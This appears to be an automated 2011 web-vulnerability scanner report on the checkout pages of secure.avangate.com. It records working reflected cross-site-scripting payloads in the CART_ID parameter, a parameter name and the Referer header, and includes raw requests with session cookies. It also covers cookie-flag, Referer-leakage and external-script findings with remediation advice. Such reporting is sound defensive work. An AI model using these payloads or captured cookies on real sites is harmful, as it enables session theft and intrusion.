Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the CART_ID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8649d"><script>alert(1)</script>a6894fb0eab was submitted in the CART_ID parameter. This input was echoed as 8649d\"><script>alert(1)</script>a6894fb0eab in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /order/checkout.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be738649d"><script>alert(1)</script>a6894fb0eab HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://noteburner.com/order-noteburner.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf ...[SNIP]... <a href="/order/nojs.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be738649d\"><script>alert(1)</script>a6894fb0eab" target="_blank"> ...[SNIP]...
1.2. https://secure.avangate.com/order/checkout.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
https://secure.avangate.com
Path:
/order/checkout.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6e9f0"><script>alert(1)</script>516e15aff28 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6e9f0\"><script>alert(1)</script>516e15aff28 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /order/checkout.php?CART_ID=64575ad4eea753b4b2f5ceb944b5/6e9f0"><script>alert(1)</script>516e15aff28be73 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://noteburner.com/order-noteburner.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3b495"><script>alert(1)</script>f449c907e0e was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /order/checkout.php?PRODS=1720528&QTY=1&CART=1 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://www.google.com/search?hl=en&q=3b495"><script>alert(1)</script>f449c907e0e Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /order/checkout.php?PRODS=1720528&QTY=1&CART=1 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://noteburner.com/order-noteburner.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the secure flag is set on a cookie, then browsers will not submit the cookie in any requests that use an unencrypted HTTP connection, thereby preventing the cookie from being trivially intercepted by an attacker monitoring network traffic. If the secure flag is not set, then the cookie will be transmitted in clear-text if the user visits any HTTP URLs within the cookie's scope. An attacker may be able to induce this event by feeding a user suitable links, either directly or via another web site. Even if the domain which issued the cookie does not host any content that is accessed over HTTP, an attacker may be able to use links of the form http://example.com:443/ to perform the same attack.
Issue remediation
The secure flag should be set on all cookies that are used for transmitting sensitive data when accessing content over HTTPS. If cookies are used to transmit session tokens, then areas of the application that are accessed over HTTPS should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications.
Request
GET /order/checkout.php?PRODS=1720528&QTY=1&CART=1 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://noteburner.com/order-noteburner.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
Request
GET /order/checkout.php?PRODS=1720528&QTY=1&CART=1 HTTP/1.1 Host: secure.avangate.com Connection: keep-alive Referer: http://noteburner.com/order-noteburner.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.224 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
GET /order/legal.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be73 HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:36 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3701
GET /order/nojs.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be73 HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:29 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 15311
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf ...[SNIP]... </title>
GET /order/privacy.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be73 HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:32 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 10264
GET /order/terms_conditions.php?CART_ID=64575ad4eea753b4b2f5ceb944b5be73 HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:47 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 14914
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
GET /order/legal.php HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:34 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 3701
GET /order/nojs.php HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 15311
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf ...[SNIP]... <!-- TEST --> <script type="text/javascript" language="javascript" src="https://3619-avangate.voxcdn.com/content/static/js/order/442ed5d08223d696b58a57b06e731178/20101223093110.js?20101223093111"></script> ...[SNIP]...
GET /order/privacy.php HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:30 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 10264
GET /order/terms_conditions.php HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:40 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 14914
GET /support/ HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:46 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 15819
The following email address was disclosed in the response:
support@avangate.com
Issue background
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
Request
GET /order/nojs.php HTTP/1.1 Host: secure.avangate.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: PHPSESSID=iern1dj8k1v31cumbqs7gt7ssj8t8d54; GKD=%95%B8%B4%9D%A1%A9%91%AC%9E%A9%89%DB%B0%B2%A1%D0%90%BB%95%B9%A1%CB%B0%E2%A0%97%94u%92%AC%9A%CA%B0%BF%8C%9A%90%AB%85s%A2%A5%BC%A8;
Response
HTTP/1.1 200 OK Server: Avangate Date: Sun, 02 Jan 2011 22:43:28 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 15311
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf ...[SNIP]... <a href="mailto:support@avangate.com">support@avangate.com</a> ...[SNIP]...
Report generated by XSS.CX at Sun Jan 02 19:17:49 CST 2011.